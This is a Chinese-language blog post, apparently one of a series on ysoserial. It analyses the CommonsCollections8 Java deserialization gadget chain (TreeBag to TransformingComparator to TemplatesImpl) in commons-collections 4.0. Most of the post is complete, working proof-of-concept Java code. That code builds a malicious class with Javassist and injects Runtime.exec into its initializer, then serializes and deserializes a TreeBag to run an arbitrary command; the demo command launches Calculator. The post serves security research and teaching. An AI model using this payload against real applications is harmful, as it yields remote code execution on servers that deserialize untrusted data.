这篇文章分析的是CommonsCollections8。它是2019年navalorenzo推动到ysoserial上的。CommonsCollections8利用的是commonscollections:4.0版本。这条利用链与CommonsCollections2,4比较相似,不同的是适用了新的readObject触发点TreeBag 。
前面已经分析了:ysoserial分析之CommonsCollections1 ysoserial分析之CommonsCollections2 ysoserial分析之CommonsCollections3 ysoserial分析之CommonsCollections4 ysoserial分析之CommonsCollections5 ysoserial分析之CommonsCollections6 ysoserial分析之CommonsCollections7
CommonsCollections8使用新的readObject触发点TreeBag。与CommonsCollections2,4一样,都是利用了TemplatesImpl来执行任意命令,TransformingCoparator.compare()来触发transform函数。
它整个的利用链如下所示
1 2 3 4 5 6 TreeBag.readObject() ->AbstractMapBag.doReadObject() ->TreeMap.put() ->TreeMap.compare() ->TransformingComparator.compare() ->InvokerTransformer.transform()
利用链分析 首先看一下TreeBag这个类的readObject函数。
前面的都是正常的反序列化,这里关注super.doReadObject()。然后跟进它。
根据前面可知,传入的map为TreeMap类型,在doReadObject()函数调用了TreeMap.put(),跟进它。
当comparator不为空时,调用了comparator.compare()函数,根据之前的分析,这里使得comparator为TransformingComparator就可以了,剩下的与CommonsCollections2相同,就不分析了。
payload构造 首先是从TransformingComparator至执行命令后半部分。这在之前已经分析过,直接放出代码。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 Object templates = new TemplatesImpl(); String command = "/Applications/Calculator.app/Contents/MacOS/Calculator" ; String cmd = "java.lang.Runtime.getRuntime().exec(\"" + command.replaceAll("\\\\" ,"\\\\\\\\" ).replaceAll("\"" , "\\\"" ) + "\");" ; ClassPool pool = ClassPool.getDefault(); pool.insertClassPath(new ClassClassPath(StubTransletPayload.class )) ; pool.insertClassPath(new ClassClassPath(AbstractTranslet.class )) ; CtClass clazz = pool.get(StubTransletPayload.class .getName ()) ; clazz.makeClassInitializer().insertAfter(cmd); CtClass superC = pool.get(AbstractTranslet.class .getName ()) ; clazz.setSuperclass(superC); byte [] classBytes = clazz.toBytecode();Field field = templates.getClass().getDeclaredField("_bytecodes" ); field.setAccessible(true ); field.set(templates,new byte [][]{classBytes,null }); Field field0 = templates.getClass().getDeclaredField("_name" ); field0.setAccessible(true ); field0.set(templates,"ananaskr12345" ); Field field1 = templates.getClass().getDeclaredField("_tfactory" ); field1.setAccessible(true ); field.set(templates, TransformerFactory.class .newInstance ()) ; InvokerTransformer transformer = new InvokerTransformer("toString" ,new Class[0 ],new Object[0 ]); TransformingComparator transformingComparator = new TransformingComparator(transformer);
然后就是上述分析的TreeMap的comparator属性为构造好的TransformingComparator对象。例如下列这句代码。
1 TreeMap treemap = new TreeMap(transformingcomparator);
事实上,在TreeBag的readObject中,会进行TreeMap的实例化,只需要
1 2 TreeBag treeBag = new TreeBag(transformingComparator); treeBag.add(templates);
然后再将transformer的iMethodName改为newTransformer即可。
完整的demo如下所示
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler;import javassist.ClassClassPath;import javassist.ClassPool;import javassist.CtClass;import org.apache.commons.collections4.bag.TreeBag;import org.apache.commons.collections4.comparators.TransformingComparator;import org.apache.commons.collections4.functors.InvokerTransformer;import java.io.*;import java.lang.reflect.Field;public class test { public static class StubTransletPayload extends AbstractTranslet implements Serializable { private static final long serialVersionUID = -5971610431559700674L ; public void transform (DOM document, SerializationHandler[] handlers) throws TransletException {} public void transform (DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {} } public static class Foo implements Serializable { private static final long serialVersionUID = 8207363842866235160L ; } public static void main (String[] args) throws Exception { Object templates = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl" ).newInstance(); String command = "/Applications/Calculator.app/Contents/MacOS/Calculator" ; String cmd = "java.lang.Runtime.getRuntime().exec(\"" + command.replaceAll("\\\\" ,"\\\\\\\\" ).replaceAll("\"" , "\\\"" ) + "\");" ; ClassPool pool = ClassPool.getDefault(); pool.insertClassPath(new ClassClassPath(StubTransletPayload.class )) ; pool.insertClassPath(new ClassClassPath(AbstractTranslet.class )) ; CtClass clazz = pool.get(StubTransletPayload.class .getName ()) ; clazz.makeClassInitializer().insertAfter(cmd); CtClass superC = pool.get(AbstractTranslet.class .getName ()) ; clazz.setSuperclass(superC); byte [] classBytes = clazz.toBytecode(); Field field = templates.getClass().getDeclaredField("_bytecodes" ); field.setAccessible(true ); field.set(templates,new byte [][]{classBytes,classFiles.classAsBytes(Foo.class )}) ; Field field0 = templates.getClass().getDeclaredField("_name" ); field0.setAccessible(true ); field0.set(templates,"ananaskr12345" ); Field field1 = templates.getClass().getDeclaredField("_tfactory" ); field1.setAccessible(true ); field1.set(templates, TransformerFactoryImpl.class .newInstance ()) ; InvokerTransformer transformer = new InvokerTransformer("toString" ,new Class[0 ],new Object[0 ]); TransformingComparator transformingComparator = new TransformingComparator(transformer); TreeBag treeBag = new TreeBag(transformingComparator); treeBag.add(templates); Field field2 = transformer.getClass().getDeclaredField("iMethodName" ); field2.setAccessible(true ); field2.set(transformer,"newTransformer" ); ByteArrayOutputStream baos = new ByteArrayOutputStream(); ObjectOutputStream out = new ObjectOutputStream(baos); out.writeObject(treeBag); out.flush(); out.close(); byte [] bytes = baos.toByteArray(); ByteArrayInputStream bais = new ByteArrayInputStream(bytes); ObjectInputStream in = new ObjectInputStream(bais); in.readObject(); in.close(); } }
结果如图所示:
参考